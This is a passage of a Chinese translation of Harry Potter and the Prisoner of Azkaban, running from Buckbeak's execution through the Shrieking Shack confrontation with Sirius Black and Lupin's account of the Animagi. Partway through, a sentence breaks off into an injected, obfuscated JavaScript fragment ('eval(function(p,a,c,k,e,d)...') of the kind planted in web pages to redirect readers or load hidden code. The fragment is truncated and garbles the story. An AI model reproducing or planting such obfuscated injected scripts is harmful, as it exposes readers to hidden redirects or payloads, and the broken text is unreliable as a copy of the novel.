“他努力过了,”海格说,“他没有控制委员会的力量。他告诉他们巴克比克不危险,但是他们害怕...你们知道卢修斯·马尔福是什么样的...威胁他们,我想...还有那行刑手,麦克尼尔,他是马尔福的老伙伴了...但是行刑会是迅速、利落的...而且我会在它身旁...” 海格吞咽了一下。他的眼睛在小屋里到处乱看,好像在寻找一丝一缕的希望或是安慰。 “那个——那事发生的时候,邓布利多肯定会来的。今天早上写信告诉我的,说他要——要和我在一起。好人,邓布利多...” 赫敏一直在海格的碗柜里找另外一只牛奶罐,这时低低地抽泣了一下,立即又忍住了。她拿着新罐子直起了身子,拼命忍住眼泪。 “我们也和你在一起,海格。”她开始说,但是海格摇摇他那粗发蓬松的脑袋。 “你们应该回城堡去。告诉你们。我不要你们看行刑。而且不管怎样,你们不应该在这里...如果福吉和邓布利多撞见你擅自离开城堡,哈利,你的麻烦就大了。” 现在赫敏无声地流着泪,但是为了不让海格看见,她忙碌着准备茶。然后,正当她拿起牛奶瓶要倒些牛奶到罐子里去的时候,她尖叫了一声。 “罗恩!我——我不相信——那是斑斑!” 罗恩目瞪口呆地看着她。 “你在说什么呀?” 赫敏把牛奶罐拿到了桌上,把它底朝上翻了个个儿。斑斑惊慌地尖叫起来,努力挣扎着想回到牛奶罐里去,却滑落到了桌子上。 “斑斑!”罗恩茫然地叫道,“斑斑,你在这里干什么?” 他抓住这只挣扎不已的耗子,把它举到有光线的地方。斑斑样子狼狈,比以前更加瘦了,皮毛大量脱落,留下一片片光秃的皮肤。它在罗恩手里扭动着,似乎拼命想得到自由。 “没事,斑斑!”罗恩说,“没有猫!这里没有东西会伤害你!” 海格突然站起来,眼睛盯着窗外。他原来脸色红润,现在却变成了羊皮纸那样的颜色。 “他们来了...” 哈利、罗恩和赫敏都迅速转身。远处,一群男子正在走下城堡的石台阶。走在前面的是邓布利多,他的银色胡须在落日余辉中闪闪发亮。他身旁是康奈利·福吉,后面是年老体弱的委员会成员和行刑手麦克尼尔。 “你们必须走了。”海格说,从头到脚一寸寸都在发抖,“一定不能让他们发现你们在这里...走吧,现在...”罗恩把斑斑塞到了衣袋里,赫敏拿起那件隐形衣。 “我领你们从后面走。”海格说。 他们跟着他走到通往后花园的那道门前,哈利感到好像是在梦中一般。当他看到几码开外的巴克比克时,这种感觉就更加浓厚了。巴克比克拴在海格的南瓜地里一棵树后面。巴克比克好像知道有什么事情要发生了,它把脑袋转来转去,还不安地用爪子抓地。 “没事,比克,”海格温柔地说。“没事...”他转向哈利、罗恩和赫敏。 “走吧,”他说,“快走。”但是他们不动。 “海格,我们不能——” “我们要告诉他们实际情况。” “他们不能杀它!” “走!”海格狂怒地说,“你们遇到麻烦的话,事情就更糟了!” 他们别无选择。 赫敏把隐形衣罩在哈利和罗恩头上,这时,他们听到小屋门外有了人声。海格看着他们刚刚隐没的地方。 “快走,”他哑着嗓子说,“别听...”他慢慢走回小屋,已经有人在敲他的门了。 在一阵恐怖的恍惚之中,哈利、罗恩和赫敏开始静静地绕着海格的小屋慢慢走着。他们走到小屋那一边时,前门砰地一声响,关上了。 “劳驾,我们快走吧,”赫敏说,“我受不了,我忍受不了...” 他们踏上倾斜的草坪。走向城堡。现在太阳下沉得很快,天空清朗,灰中带紫,但是西方还有一抹残红。罗恩站住了,一动不动。 “哦,劳驾,罗恩。”赫敏开始说。“是斑斑——它不肯——待着不动——” 罗恩弯下了腰,努力让斑斑仍旧待在衣袋里,但是那耗子变得狂暴起来,疯狂地尖叫着、扭动着并且踢蹬着,想咬罗恩的手。 “斑斑,是我呀,你这个傻瓜,是罗恩呀。”罗恩低声说。 他们昕到身后有一扇门开了,有男子的说话声传来。 “哦,罗恩,劳驾让咱们走吧,他们要下手了!”赫敏说。 “好——斑斑待着不要动——” 他们继续向前走,哈利像赫敏一样,努力不去听身后人们说话的声音。 罗恩又停下来了。“我抓不住它——斑斑,住嘴,人家要听见我们了——” 那耗子狂乱地尖叫,但还没有响到能盖过从海格的花园里传过来的声音。有几个乱七八糟的男声,一阵静默。 然后,在不加警告的情况下,斧子挥动的声音和一声钝响。赫敏在原地摇晃了一下。 “他们已经下手了!”她对哈利耳语道。“我不——不信——他们已经下手了...” 55.猫、耗子和狗 哈利震惊得脑子里一片空白。他们三人裹在隐形衣里面,吓得呆若木鸡。斜阳的最后一道余辉,向铺着长长影子的场地上投下了一抹血红。然后,他们听到身后一声狂野的哀嚎。 “海格。”哈利咕哝道。他想都没有想,就转身要回去,但是罗恩和赫敏都抓紧他的胳膊不让他去。 “我们不能,”罗恩说,脸白得和纸一样,“如果他们知道我们去看过他,他的麻烦就更大了...” 赫敏的呼吸急促而紊乱。 “他们——怎么——能?”她哽咽着,“他们怎么能?” “走吧。”罗恩说,牙齿好像在打战。 他们折身向城堡走去,慢慢地走着,以便三个人都能藏在隐形衣里。现在光线迅速逝去。等到他们走到空旷场地上时,黑暗已经像咒语一样在他们周围降临了。 “斑斑,别动。”罗恩低声说,手抚在胸口。那耗子在疯狂挣扎。 罗恩突然停住脚步,努力迫使斑斑待在衣袋更深的地方。 “你这只笨耗子,你这是怎么啦?别动——哎哟!它咬我!” “罗恩,别做声!”赫敏急忙耳语道,“福吉马上就会到这里来了——” “他不会——待着——别动——” 斑斑显然是吓坏了,它竭尽全力挣扎着,想从罗恩手里挣脱。“它怎么啦?”但是哈利刚刚看到——克鲁克山鬼鬼祟祟地向他们走过来,身子低低地伏在地面上,黄色的眼睛在黑暗中怪异地发着光。它能看见他们,或者是它听到了斑斑的尖叫循声而来的,哈利摘不清到底是哪一种情况。 “克鲁克山!”赫敏悲叹道,“别来,走开。克鲁克山!走开!” 但是那猫走得更近了。 “斑斑——别!” 太晚了——那耗子从罗恩的手指缝里滑了出来,跌到地上逃走了。克鲁克山一跳就追了过去,哈利和赫敏根本没来得及阻止,罗恩已经把隐形衣抛在一边跑到黑暗之中去了。 “罗恩!”赫敏悲叹。她和哈利彼此对看了一眼,然后也跟着飞跑起来。披着隐形衣是没法快跑的,他们就拉脱了隐形衣,这件衣服在他们身后飘扬着,像面旗帜一样。 他们去追罗恩,他们能听到他向前奔跑的重重的脚步声,也听到他对克鲁克山大叫。 “放开它——放开——斑斑,到这里来——”一声钝响。“可抓住你了!放开,你这只臭猫——” 哈利和赫敏差点儿跌到罗恩身上:他们脚下打滑,正好滑到罗恩面前才停住。 他仰面倒在地上,斑斑又回到他衣袋里去了,他两手紧紧抓着那团颤抖不已的东西。 “罗恩——来吧——到隐形衣下面来——”赫敏喘着气说,“邓布利多——那部长——他们马上就要出来了——” 但是他们没来得及把自己隐藏起来,甚至都没来得及喘口气,就听到巨大的脚爪轻轻踏在地面的声音,有什么东西正从黑暗里向他们走来——一条淡色眼睛、皮毛乌黑的大狗。 哈利伸手去拿魔杖,但太迟了——那狗纵身一跳,前爪已经扑到他的胸膛上了。他迅即向后翻身,感觉到了它热烘烘的气息,看到了一英寸长的牙齿..但是那狗的扑力过大,从他身上滚过去了。 哈利眼花缭乱,觉得他的肋骨似乎断了,他试着想站起来。他能听到狗在原地打转嗥叫,准备再度发动攻击。罗恩站了起来。狗又向他们扑过来,罗恩把哈利推到一边,那狗咬住了罗恩伸出来的手臂。哈利猛冲过去,抓了一把狗毛,但那只狗毫不费力地拖着罗恩走了,好像罗恩是个布娃娃。 然后,不知什么地方出来的东西打中了哈利的脸,打得很厉害,哈利再次跌倒。他听到赫敏尖叫着喊痛,也跌倒在地。哈利摸索着找魔杖,一面眨着眼挤掉眼睛里的血... “荧光闪烁!”他低声说。 魔杖发出的光芒让他看列了一段粗壮的树干,他们追赶斑斑已经追到打人柳的树影里了。这棵树的枝条正在摇动,好像在大风里一样,树枝前后摇摆,不让他们再往前进。 那里,就在树根旁边,就是那条狗,它正拖着罗恩后退到树根处的一个大口子里去。罗恩狂怒地挣扎着,但是他的脑袋和躯干已经看不见了... “罗恩!”哈利大叫,想跟进去,但一根大树枝死命打下来,哈利被迫再度后退。 现在他们只能看到罗恩的两条腿了,这两条腿夹着一处树根不放,想要阻止那条狗把他进一步拖到地下去。然后一声可怕的巨响,像放枪一样,罗恩的腿断了。一眨眼,他的脚就看不见了。 “哈利...我们必须找人帮忙了...”赫敏哭了,她也在流血,打人柳剐破了她的肩。 “不行!那东西大得能吃掉他,我们没有时间了!” “没人帮忙,我们无论如何都对付不了!” 另外一根树枝向他们打过来,小枝条扭结在一起,像拳头一样。 “如果那条狗能进去,我们也能。”哈利喘着气说,来回地奔跑着,努力想在这些恶意挥动着的枝条之间找到一条通道,但是他不遭枝条的痛打就一英寸也靠近不了那棵树的根部。 “哦,救命,救命。”赫敏发狂似地低语着,摇摇晃晃地跳来跳去,“劳驾...” 克鲁克山向前冲过去。它在枝条之间躲躲闪闪地穿行着,好像是条蛇,然后它把前爪搭在树干的一个节疤上。 突然之间,这棵树好像变成了大理石,不再动弹了,所有树叶都静止不动了。 “克鲁克山!”赫敏低声叫着,拿不定主意似的。现在她把哈利的胳膊抓得很紧很痛。“它怎么会知道——?” “它和那条狗是朋友,”哈利阴郁地说,“我看到过它们在一起,来吧,魔杖伸着别动。” 几秒钟之内,他们就走到了树干旁边,但是在他们走到洞口以前,克鲁克山就已经把它那瓶刷似的尾巴一甩,先溜进去了。哈利跟着进去了。他脑袋冲前爬了进去,顺着一道土坡往下滑,滑到底是一条很矮的地道。克鲁克山在前面不远的地方,它的眼睛在哈利的魔杖发出的光芒中闪烁。 几秒钟以后,赫敏也摇摇摆摆地滑到哈利旁边来了。“罗恩在哪里?”她害怕地问道。 “这里走。”哈利说。他弓着背,跟着克鲁克山朝前走。 “这条地道出口在哪里呀?”赫敏在哈利身后气都喘不过来地问。 “不知道...活点地图上标出了这条通道,不过弗雷德和乔治说,从来没有人走过。这条路在地图边上消失了,但是看上去它的尽头是在霍格莫德村...” 他们尽快前进,腰弯得几乎不能再弯了;克鲁克山在他们前方,尾巴上下跳动,时隐时现。这条通道无穷无尽,感觉上至少和到蜂蜜公爵的那条一般长。哈利这时心里想的只有罗恩,还有那条大狗会对罗恩干什么...他的呼吸急促,胸口刺痛,因为他是低头弯腰向前跑的...然后,地道开始上升;再前进一段路,地遭变得弯弯曲曲,克鲁克山也不见了。但是,通过一处小开口,哈利可以看见一缕模糊的光线了。 哈利和赫敏停了下来,喘了口气,从侧面往前进。两人都举起魔杖照路,看前面有什么。 那是一间房子,一问乱七八糟、满是灰尘的房子。壁纸已经从墙上脱落,地板上到处是污渍,一件件家具都破损了,似乎是人打坏的,窗子都用木板钉住了。 哈利瞥了赫敏一眼,她显得疲惫不堪,但她点点头。 哈利使劲钻出洞穴,向四面张望。房间里没有人,但右边一扇门开着,通往一条幽暗的过道。赫敏突然又抓住哈利的手臂,她的大眼睛扫视着那些木板钉住的窗子。 “哈利,”她低声道,“我想我们是在尖叫棚屋里。” 哈利向四周看了看。他的目光落到了附近的一把木椅上,椅子上扯去了一大块木板,一条腿也不见了。 “鬼不会干这种事的。”他慢慢地说。 这时,头顶上传来吱吱嘎嘎的声音,楼上有什么东西在移动。两人都抬头望着天花板。赫敏把哈利的手臂抓得那样紧,以致哈利的手指都失去知觉了。他对她扬扬眉毛,她又点点头,放开了他的手臂。 他们尽量悄悄地爬出去到了厅里。再爬上那道快要崩溃的楼梯。所有东西都蒙上了一层厚厚的灰尘,但地板上不是这样,有什么东西被人拖上了楼,在地板上留下一道发亮的宽印迹。 他们走到那黑暗的楼梯平台了。 “诺克斯”两人一起念念有词,于是,两条魔杖末端的光芒就消失了。只有一扇门是开着的。他们潜行过去,听到门后面有动静:一声低低的呻吟,然后是一声猫感到满足时的呜呜叫声,既深沉又响亮。他们最后交换了一下眼色,点点头。 哈利紧握魔杖,踢开了房门。 一张豪华的四柱床,床四周的帷幕全是灰尘,克鲁克山伏在床上,看见他们就响亮地呜呜叫着,表示满意。在克鲁克山旁边的地板上,罗恩抓着自己的一条腿,腿伸得很不自然。 哈利和赫敏赶快冲到他面前。 “罗恩——你没事吧?” “那条狗哪里去了?” “不是狗。”罗恩呻吟道。由于疼痛,他牙关紧咬。“哈利,这是陷阱...” “什么——?” “他就是那狗...他是个阿尼马格斯...” 罗恩向哈利肩头看去。哈利飞快地转身。啪的一声响,阴影里的那个人关上了他们身后的门。 一团肮脏、纠结的头发一直垂到肘部;如果藏在又深又黑的眼眶里的眼睛不发光,他就可能是具尸体:蜡状的皮肤紧贴在脸上的骨架上,看上去活像骷髅头。他龇着黄牙咧嘴笑着,是小天狼星布莱克。 “除你武器!”他嘶哑着声音说,用罗恩的魔杖指着他们。哈利和赫敏的魔杖都脱手而去,高高地飞在空中,被布莱克接住了。然后他向前跨了一步。他盯着哈利。 “我想你们会来帮助朋友的。”他哑着嗓子说。他的声音听起来像是他好久没有说过话了。“你爸爸也会这样对待我的。你们真勇敢,没有去找老师。我感激...这样事情就容易得多...” 哈利耳朵里回响着他奚落他爸爸的话,好像布莱克刚才是大声喊出的一样。哈利胸中仇恨沸腾,因此没有地方让恐惧停留了。他生平第一次那样地渴望魔杖回到手中,不是为了保卫自己,而是进行攻击...杀人。 他向前冲去,心里并不明白自己要干什么,但是,他两旁都有突然的动作,两双手抓住了他,把他拖了回来。 “不。哈利!”赫敏害怕地对他耳语。 然而,罗恩却对布莱克说话了。 “如果你要杀哈利,那你要把我们也杀死!”他狂怒地说,尽管用力站起来的动作已经弄得他脸色更加苍白,而且他说话时人都有点摇晃。布莱克那双幽暗的眼睛里有什么东西在闪烁。 “躺下,”他平静地对罗恩说,“你要把那条腿伤得更厉害了。” “听到我的话了吗?”罗恩有气无力地说,尽管他此时痛苦地抓住哈利才能站直。“你必须把我们三人全都杀死!” “今晚这里只会有一次谋杀。”布莱克说,他的笑意更浓了。 “为什么这样?”哈利吐了一口唾沫,努力要挣开罗恩和赫敏。“上次就不在乎,是不是?为了把小矮星彼得弄到手,就可以毫不在乎地把那么多麻瓜都杀了...在阿兹卡班发疯,那有什么要紧?” “哈利!”赫敏啜泣着说,“安静!” “他杀了我的妈妈和爸爸!”哈利吼道,用力一挣,挣脱了罗恩和赫敏的束缚向前冲去。 他忘记了有关魔法的事了,他忘记了自己又矮又瘦,只有十三岁,而布莱克是身材高大的成人。哈利心里只知道,他要尽量伤害布莱克,而不在乎自己要因此而受到多少伤害...也许是因为看到哈利做这样的蠢事感到了震动,布莱克并没有及时举起魔杖。 哈利的一只手抓住布莱克拿魔杖的那只手,迫使魔杖的末端改变了方向。哈利另一只手的指关节撞上了布莱克脑袋的一边,两人向后跌倒,撞到墙上...赫敏尖叫起来,罗恩狂叫着,布莱克手里的魔杖向空中发出一道火花,离哈利的脸只有几英寸。 哈利觉得他手指下面那条皱缩的手臂发狂似地扭动着,但他抓住不放,他用另一只手猛打着凡是他能够得着的、布莱克身体的各个部位。但是布莱克闲着的那只手找到了哈利的喉咙—— “不要。”他低声说,“我已经等待得太久...” 手指捏紧了,哈利透不过气来,眼镜歪到了一边。 然后他看见赫敏的脚不知从哪里踢了出来。布莱克负痛哼了一声,放开了哈利。罗恩扑到布莱克拿魔杖的手上,哈利听到轻轻的一声碰撞...他挣扎着摆脱了纠缠在一起的人体,看见他自己的魔杖滚在地板上,他全身扑过去,但是—— “啊!” 克鲁克山也来加入了战斗,两只前爪都深深陷进了哈利的手臂。哈利甩脱了它,但是克鲁克山现在对着哈利的魔杖冲过去—— “别,你别!”哈利吼道,他对准克鲁克山踢了一脚,使得它跳到一边去了,吐着气;哈利抓起魔杖转过身来—— “让开!”他对赫敏和罗恩大叫。他们不需要人告诉第二次。赫敏大口喘着气,嘴唇流着血,爬到一旁。抓起了她和罗恩的魔杖。罗恩往那张床爬去,然后瘫倒在床上,喘着气,苍白的脸色现在夹杂着紫色,双手抓着那条断腿。布莱克摊开四肢倒在墙边,瘦瘦的胸膛迅速起伏,看着哈利慢慢走近,哈利的魔杖直指布莱克的心脏。 “你要杀了我吗,哈利?”他小声说。 哈利正站在他面前,魔杖仍旧指着他的胸膛,朝下看着他。一道青黑色伤痕正在布莱克左眼周围出现,他的鼻子在流血。 “你杀了我的父母。”哈利说,声音稍稍有些颤抖,但他拿魔杖的手是稳定的。 布莱克用他那双深陷的眼睛瞪视着哈利。 “我不否认这一点,”他很平静地说,“但是如果你知道全部内情——” “全部内情?”哈利重复道,耳朵里有一种激烈的撞击声。“你把他们出卖给伏地魔,这就是我必须知道的全部内情!” “你一定要听我说,”布莱克说,现在他的声音里有了一种迫切的调子,“要是你不了——不了解——你会后悔的。” “我了解的比你想象的多多了,”哈利说,声音颤抖更厉害,“你从来没听到过她的叫喊,是不是?我的妈妈——努力不让伏地魔杀我...而你做了那件事——你做了...” 他们俩没来得及再说别的,一个姜黄色的东西从哈利面前飞跑过去。克鲁克山跳到布莱克的胸膛上,蹲在那里不走,正待在他的心脏部位。布莱克眨了眨眼,向下看着那只猫。 “走开。”他喃喃地说,努力要推开克鲁克山。 但是克鲁克山把爪子深插到布莱克的袍子里,就是不动。它把它那张丑陋的脸转向哈利,用那双黄色的大眼睛看着他。在他左边,赫敏抽泣了一声。 哈利瞪着布莱克和克鲁克山,魔杖抓得更紧了。要是他把那只猫也杀了,那又怎么样?那只猫和布莱克是一伙的...如果它努力保护布莱克而不惜一死,那与他哈利无关...如果布莱克要救它,那只能说明他对克鲁克山的关心胜过对哈利双亲的关心... 哈利举起魔杖,现在正是大好时机。现在正是为他的妈妈和爸爸报仇的时机。他要杀死布莱克,他必须杀死布莱克。这是他的机会...这几秒钟很长,哈利仍旧站在原地一动不动,魔杖举着。布莱克向上瞪着他,克鲁克山蹲在他胸膛上。罗恩那有些刺耳的呼吸声从靠近床的地方传过来,赫敏很安静。 然后又有了新的声音——地板上回响着低沉的脚步声——有人在楼下走动。 “我们在这里!”赫敏突然叫喊起来,“我们在这里——小天狼星布莱克——快!” 布莱克大吃一惊,身子一动,克鲁克山险些被晃下来,哈利痉挛着抓住魔杖——现在就这样干!他脑子里有一个声音在说——但是雷鸣似的脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卢平放开布莱克转向她。她已经从地板上站了起来,指着卢平,眼睛睁得大大的。“你——你——” “赫敏——” “——你和他!” “赫敏,冷静。” “我谁也没说!” 赫敏尖叫,“我一直在为你掩盖——” “赫敏,请你听我说!”卢平大叫,“我可以解释——” 哈利觉得自己在发抖,不是由于害怕,而是由于一阵新的狂怒。 “我信任你,”他对卢平大叫,他的声音抖得失去了控制,“而你却一直是他的朋友!” “你们错了,”卢平说,“十二年来,我不是布莱克的朋友,但我现在是了...让我解释...” “不!”赫敏尖叫,“哈利,别相信他。他一直在帮助布莱克进城堡,他也要你死——他是狼人!” 一阵沉寂。现在大家的眼睛都转向了卢平,卢平尽管相当苍白,却很镇静。 “这和你平时的水平不相称啊,赫敏,”他说,“恐怕只有平时的三分之一。我并没有一直帮助布莱克进城堡,我肯定不希望哈利死掉...”他脸上一阵古怪地颤抖。“但是我不否认我是狼人。” 罗恩想再站起来,但没有成功,痛得哼了一声又跌倒了。 卢平向他走过去,神色很是关心,但罗恩气喘吁吁地说:“离我远点,狼人!” 卢平停住了,一动不动。然后,他显然作了一番努力才转向赫敏说:“你知道多久了?” “好久了,”赫敏低声说:“我做了斯内普教授布置的论文以后...” “他会高兴的,”卢平冷淡地说,“他布置那篇论文,希望你们之中有谁会懂得我那些症状意味着什么。你是查看过月亮盈亏表知道我总是在满月时发病?要不然就是你知道博格特看见我就变成了银球——月亮?” “两件事都是。”赫敏平静地说。 卢平勉强笑了一声。“就我所知,你是你这个年龄段里最聪明的女巫,赫敏。” “我不是。”赫敏低声说,“如果我稍稍聪明一点,我早就对每一个人都说你是狼人了!” “不过他们已经知道了,”卢平说,“至少老师们都知道。” “邓布利多知道你是狼人还聘用你?”罗恩气喘吁吁地说,“他疯了吗?” “有些老师是这样想的,”卢平说,“他不得不做了许多工作才说服了某些老师,让他们认为我是可以信任的——” “但是他错了!”哈利大叫,“你一直在帮他进城堡!”他指着布莱克,布莱克已经走到床边倒在上面,一只颤抖的手掩住了脸。克鲁克山跳到他身旁,趴到他膝上,满意地呜呜叫着。罗恩拖着伤腿慢慢离开了他们。 “我并没有一直帮助小天狼星。”卢平说,“如果你们给我机会,我会解释的。看——” 他分开哈利、罗恩和赫敏的魔杖,把它们分别掷回原主。哈利抓住自已的,很是惊讶。 “好吧,”卢平说,把他自己的魔杖插回了腰带里。“你们有武装了,我们没有。现在你们可以听我说了吧?” 哈利不知道应该怎样看待这件事。这是在耍花招吗? “如果你没有一直在帮他,”他说,愤怒地瞥了布莱克一眼。“你怎么知道他在这里?” “地图啊,”卢平说,“那张活点地图。我刚才在办公室里看来着——” “你知道怎么用吗?”哈利怀疑地问道。 “当然会用,”卢平说,不耐烦地挥了一下手。“是我帮着画的。我就是月亮脸——这是在校时朋友送我的绰号。” “你画的——?” “重要的是,今晚我正在仔细地看着这张地图,因为我觉得你、罗恩还有赫敏可能偷偷溜出了城堡,在海格的鹰头马身有翼兽被处决以前去看他。我说得对吧,是不是?” 他开始踱来踱去,看着他们。他脚边扬起了一些灰尘。 “你可能穿着你爸爸的隐形衣,哈利。” “你怎么知道我有那件隐形衣的?” “有多少次我看见詹姆隐没在那件衣服之下啊...”卢平说,又不耐烦地挥了一下手。“问题在于,即使你穿上隐形衣,地图上也会显示出来的。我看着你们穿过场地走进海格的小屋。十分钟以后,你们离开海格,向城堡走回来。但是你们又有了别的同伴。” “什么?”哈利说,“不,我们没有!” “我不相信自己的眼睛,”卢平说,仍旧在踱步,不去理会哈利打断他的话。“我以为地图失灵了。他怎么会和你们在一起呢?” “没有人和我们在一起!”哈利说。 “然后我看见另外一个小点,迅速地向你们移动,那小点标明是小天狼星布莱克..我看见他和你们撞在一起,我看着他把你们之中的两个人拉进那打人柳里面去——” “我们之中的一个!”罗恩恼怒地说。 “不,罗恩,”卢平说,“两个。” 他停住不走了,眼睛看着罗恩。 “你说,我可不可以看看你的耗子?”他平淡地问。 “什么?”罗恩说,“斑斑和这件事有什么关系?” “什么关系都有,” 卢平说,“ 我能看一下那耗子吗?” 罗恩踌躇了,然后把手伸进袍子。斑斑出现了,绝望地猛烈摇动着。罗恩不得不去抓那条长而秃的尾巴,以防它逃走。克鲁克山在布莱克膝头上站了起来,低低地叫着。 卢平更走近了罗恩一些。他专心地看着斑斑,似乎屏住了呼吸。 “什么?”罗恩又说,握着斑斑让它更靠近自己,看上去很害怕。“我的耗子能和什么事情有关系呢?” “这不是耗子。”布莱克突然哑着嗓子说。 “你这是什么意思?它当然是耗子——” “不对,它不是,”卢平平静地说,“他是个巫师。” “是个阿尼马格斯,”布莱克说,“名字叫小矮星彼得。” 56.月亮脸、虫尾巴、大脚板和尖头叉子 几秒钟之后,大家才理解到这句话简直是匪夷所思。然后罗恩说出哈利心里想的话。“你们两个人都有精神病。” “可笑!”赫敏声音微弱地说。 “小矮星彼得已经死了!”哈利说,“十二年前他就杀死了他!” 他指着布莱克,布莱克的脸痉挛性地扭曲起来。 “我是想杀他,”他咆哮道,一嘴黄牙又露了出来,“但是小彼得占了上风...不过这次可不能了!”布莱克向斑斑猛冲过去,克鲁克山被摔到了地板上,布莱克的身体压到了罗恩断腿上,罗恩痛得大叫。 “小天狼星,别!”卢平大叫,自己也扑向前去,又把布莱克从罗恩那里拖开,“等等!你不能就这样干——必须让他们理解——我们一定要解释...” “我们可以事后解释!”布莱克咆哮道,努力推开卢平,一只手仍然在空中抓着,好像想去抓斑斑。斑斑像小猪一样长声尖叫,抓罗恩的脸和脖子,想逃走。 “他们...有权...知道...所有事情!”卢乎喘着气,仍然想抓住布莱克。“罗恩把它当宠物养!它有些地方连我也不懂!还有哈利..你必须把真相告诉哈利,小天狼星!” 布莱克停止了挣扎,但他那双凹陷的眼睛仍旧盯着斑斑,斑斑紧贴在罗恩那双被抓挠得流血的手下面。 “那好吧,”布莱克说,眼睛仍旧盯着那耗子,“愿意告诉他们什么你就告诉吧,不过要快。人们曾经以谋杀罪名把我囚禁了起来的,现在我就来犯这个谋杀罪。” “你们是疯子,你们俩都是。”罗恩没有把握地说,转头望了一下哈利和赫敏,寻求他们的支持。“我已经听够了。我走了。” 他试图靠那条好腿站起来,但卢平又举起魔杖指着斑斑。 “你应该听我说完,罗恩,”他平静地说,“你听的时候,记得抓紧彼得,别让他逃走。” “它不是彼得。它是斑斑!”罗恩大叫,想迫使那只耗子回到他的衣袋里去,但是斑斑挣扎得太厉害了,罗恩摇晃了一下,失去平衡。哈利扶住了罗恩,把他推回到床上。然后,哈利不去理会布莱克,转而面对卢平。 “有证人看见小矮星彼得死掉了,”他说,“整整一条街的证人!” “他们没有看见他们以为他们看见的东西!”布莱克狂暴地说,仍旧盯着在罗恩手里挣扎不已的斑斑。 “大家都认为小天狼星杀了彼得。”卢平点着头说,“我自己也曾这样相信,直到今晚我看那张地图的时候。因为活点地图从不说谎...彼得还活着。罗恩正抓着他,哈利。” 哈利看看罗恩,目光相遇,他们的心里产生了一样的想法:布莱克和卢平两人精神都不正常。他们说的话毫无意义。斑斑怎么会是小矮星彼得呢?阿兹卡班毕竟把布莱克的精神摧毁了...但是卢平为什么配合他呢?接着赫敏说话了,是那种颤抖的、本来可能是镇静的那种声音,好像努力要使卢平教授有理性地说话似的。 “但是卢平教授...斑斑不可能是小矮星彼得...这不可能是真的,你知道这不可能...” “为什么不可能是真的呢?”卢平镇静地说,好像他们是在课堂上,而赫敏只不过是在用格林迪洛做实验的过程中发现了一个问题而已。 “因为...因为如果小矮星彼得曾经是阿尼马格斯的话,人们会知道的。我们在麦格教授的课上学过阿尼马格斯。我做完作业就查阅了一下这类东西——魔法部对能够变成动物的巫师是会进行监督的。有记录表明他们都变成了什么动物,还有他们的标记...我查了麦格教授的记录,本世纪只有七个阿尼马格斯,而小矮星彼得的名字不在那张名单上。” 哈利暗自佩服赫敏在家庭作业上下的功夫,但这种感觉立刻被卢平的大笑声打断了。 “你又对了,赫敏!”他说,“但是魔法部从来不知道霍格沃茨有三名未经登记的阿尼马格斯。” “要是你想把事情告诉他们,那就快一点儿,卢平。”布莱克咆哮道,他仍旧在注视着斑斑每一次绝望的挣扎。“我已经等待了十二年,我不愿意再等很久了。” “好...但是你要帮助我,小天狼星,”卢平说,“我只知道开头——” 卢平停住不说了。他身后传来响亮的破裂声,卧室的门自己开了。五个人都看着那门。卢平走过去,向楼梯平台那边看着。 “没有人...” “这地方闹鬼!”罗恩说。 “不对,”卢平说,仍旧迷惑不解地看着那扇门,“这所尖叫棚屋从来没闹过鬼...村民们经常听到的尖叫和嗥叫是我发出来的。” 他把眼睛面前的灰色头发拂开,考虑了一会儿,然后说:“这里就是所有事情开始的地方——我变成狼人以后。如果我没有被咬的话,这些事本来都不会发生的...要是我不那么莽撞的话...” 他显得清醒而疲倦。罗恩想插嘴,但是赫敏说:“嘘!”她专心地看着卢平。 “我被咬时还很小。我的双亲试过各种办法,但在那时这是没救的。斯内普教授给我配的药剂是最近才发现的。你们要知道,这种药让我变得安全了。只要我在月圆前一个星期服下这种药剂,我变形时就会保持理智...我能够蜷伏在办公室里,做一只无害于人的狼,等待满月过去。 “然而,在发现狼毒药剂以前,我每月一次变成一头不折不扣的狼。我本来是不可能来到霍格沃茨的,其他家长不可能愿意让自己的孩子接触我。 “但是后来邓布利多当了校长,他很有同情心。他说,只要采取某些预防措施,没有理由不让我到这学校来...”卢平叹了口气,面对着哈利,“几个月以前,我告诉你说,那棵打人柳是我到霍格沃茨的那一年种的。其实是为了我到霍格沃茨才种的。这所房子...” 卢平悲哀地环顾四周,“到这里来的那条地道...是为了供我使用才开的。一月一次,我被偷偷地送出城堡,送到这里来变形。在地道口种那棵树,是为了不让任何人在我对人有危险时遇到我。” 哈利不明白卢平说这些有什么意思,但他还是听得着了迷。除了卢平的声音之外,唯一的声音就是斑斑因为害怕而发出的尖叫。 “在那些日子里,我的变形是...是可怕的。变成狼人是非常痛苦的。我要咬人时却远离人群,所以我就咬自己抓自己。村民们听到的那些噪音和尖叫,就以为他们听到的是特别凶猛的鬼怪发出的声音。邓布利多鼓励人们传播这类谣言...即使是现在,尽管这所房屋多年没有这种声音了,村民们还是不敢走近它...但是,当时的我,除了变形以外,比以前更快乐了。我第一次有了朋友,三个好朋友。小天狼星布莱克...小矮星彼得...当然,还有你爸爸,哈利——詹姆·波特。” “那么,我的三个朋友不可能不注意到我每月失踪一次。我编造了各种故事。我告诉他们我妈有病,我必须回家去看她...我特别担心他们一旦发现我是狼人就会不理我。但是,当然啰,赫敏,他们就像你一样,悟出了事情的真相...而且他们根本没有不理我。他们反而为我做了些事情,让我不但可以忍受变形的痛苦,而且让变形时期成为我一生中最快乐的时光:他们学会了阿尼马格斯。” “我爸也是吗?”哈利惊奇地问。 “是的,的确如此。”卢平说,“他们花了将近三年的时间才做到这一点。你爸爸和现在站在这里的小天狼星,是全校最聪明的学生。他们是幸运的,因为阿尼马格斯变形术可能走火入魔出大错——所以魔法部才密切注视那些想这样做的人。彼得需要小天狼星和詹姆的大力协助。最后,在我们五年级的时候,他们学会了变形。他们每人都可以随意变成不同的动物。” “但是这情况对你有什么帮助呢?”赫敏问,似乎有些迷惑不解。 